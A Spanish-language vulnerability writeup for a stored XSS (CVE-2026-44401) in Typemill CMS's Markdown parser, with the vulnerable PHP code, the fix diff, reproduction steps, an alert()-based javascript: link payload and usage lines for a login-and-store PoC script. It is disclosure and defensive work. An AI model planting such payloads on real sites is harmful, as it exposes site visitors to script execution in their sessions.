
XSS persistente en Typemill CMS: el analizador de Markdown deja pasar las URIs javascript: sin filtrar. Writeup + PoC.
| CVE | CVE-2026-44401 |
| CWE | CWE-79 (Neutralización incorrecta de la entrada durante la generación de la página web) |
| Afectado | typemill/typemill >= 2.0.0, < 2.23.0 |
| Corregido en | v2.23.0 (commit 31b72ea) |
| Autenticación requerida | Sí, cualquier rol con derechos ACL system:update (admin o manager por defecto) |
| CVSS (informante) | 7.6 / Media-Alta |
| CVSS-B (VulnCheck, v4.0) | 4.6 CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:A/VC:N/VI:L/VA:L/SC:N/SI:L/SA:L |
| Crédito | sn0x (@sn0x-sharma) |
| Aviso | VulnCheck |
La puntuación es Media en lugar de Crítica porque requiere
PR:H(privilegio de configuración del tema) +UI:A(una víctima tiene que hacer clic en el enlace), pero el payload está almacenado, por lo que se ejecuta para cada visitante que lo hace.
Typemill es un CMS Markdown de archivos planos. Su analizador Markdown no valida el esquema URI de los destinos de los enlaces antes de escribirlos en un atributo href. Un usuario con acceso a la configuración del tema (por ejemplo, el campo de texto Landingpage Intro Segment, que acepta Markdown sin procesar) puede almacenar un enlace javascript:. Se renderiza sin escapar en la página de inicio pública y se ejecuta en el navegador de cualquiera que haga clic en él: XSS persistente (almacenado).
ParsedownExtension::inlineLink() — system/typemill/Extensions/ParsedownExtension.php, líneas 934–996 (v2.22.0, última etiqueta vulnerable).
Los enlaces relativos y media/ reciben un prefijo de URL base, pero nada comprueba el esquema de la URI antes de que se asigne a href:
# start typemill: if relative link or media-link
$href = $matches[1];
if($href[0] == '/')
{
$href = $this->baseUrl . $href;
}
elseif(substr( $href, 0, 6 ) === "media/")
{
$href = $this->baseUrl . '/' . $href;
}
# end typemill
$Element['attributes']['href'] = $href; // <-- no scheme validation
[Click me](javascript:alert(document.domain)) → <a href="javascript:alert(document.domain)">Click me</a>.
Ruta de renderizado para este sumidero específico: themes/cyanine/home/landingpageIntro.twig → TwigMarkdownExtension.php → ParsedownExtension.php. Cualquier otro campo del tema que procese Markdown del usuario con el mismo analizador se ve afectado de igual manera.
# end typemill
-
+
+ # block dangerous URI schemes (e.g. javascript:, vbscript:, data:)
+ $scheme = parse_url($href, PHP_URL_SCHEME);
+ if ($scheme !== null && !in_array(strtolower($scheme), ['http', 'https', 'mailto', 'ftp'], true))
+ {
+ $href = '#';
+ }
+
$Element['attributes']['href'] = $href;
La misma lista blanca (http, https, mailto, ftp) propuesta en el informe original. Confirmado al comparar ParsedownExtension.php entre las etiquetas v2.22.0 y v2.23.0.
Las rutas de configuración del tema (GET /tm/themes, POST /api/v1/theme) están restringidas por el recurso ACL system/update; según las definiciones de rutas del propio Typemill (routes/web.php, routes/api.php), este permiso se concede al rol manager por defecto, no solo al admin. Por lo tanto, la exposición no se limita a la cuenta de administrador de nivel superior.
Inicia sesión como un usuario con acceso a la configuración del tema → Sistema → Temas → Configurar (tema activo, p. ej., Cyanine).
Expande Segmento de introducción de la página de aterrizaje → en "Texto para la introducción de tu página de aterrizaje (usa markdown)", introduce:
[Click me](javascript:alert(document.domain))
Guarda. Visita la página de inicio como cualquier usuario y haz clic en el enlace → el JS se ejecuta en la sesión de ese visitante.
CVE-2026-44401_POC.py - dos modos:
# Offline: exercises the parser directly against a Typemill checkout
# (composer install already run, so vendor/ exists)
python3 CVE-2026-44401_POC.py local --source /path/to/typemill
# ...or straight against a running container, same way it was originally verified
python3 CVE-2026-44401_POC.py local --docker typemill --container-path /var/www/html
# Live: logs in, stores the payload via the theme-settings API, confirms the
# raw javascript: href on the public homepage, restores the original value
python3 CVE-2026-44401_POC.py remote --url http://localhost:8080 \
--username admin --password '********'
Reproducción manual mínima (con la que se verificó el informe):
php -r '
require "vendor/autoload.php";
require "system/typemill/Extensions/ParsedownExtension.php";
$p = new \Typemill\Extensions\ParsedownExtension("",[],null);
echo $p->markup($p->text("[x](javascript:alert(1))"));
'
# vulnerable: <p><a href="javascript:alert(1)">x</a></p>
# patched: <p><a href="#">x</a></p>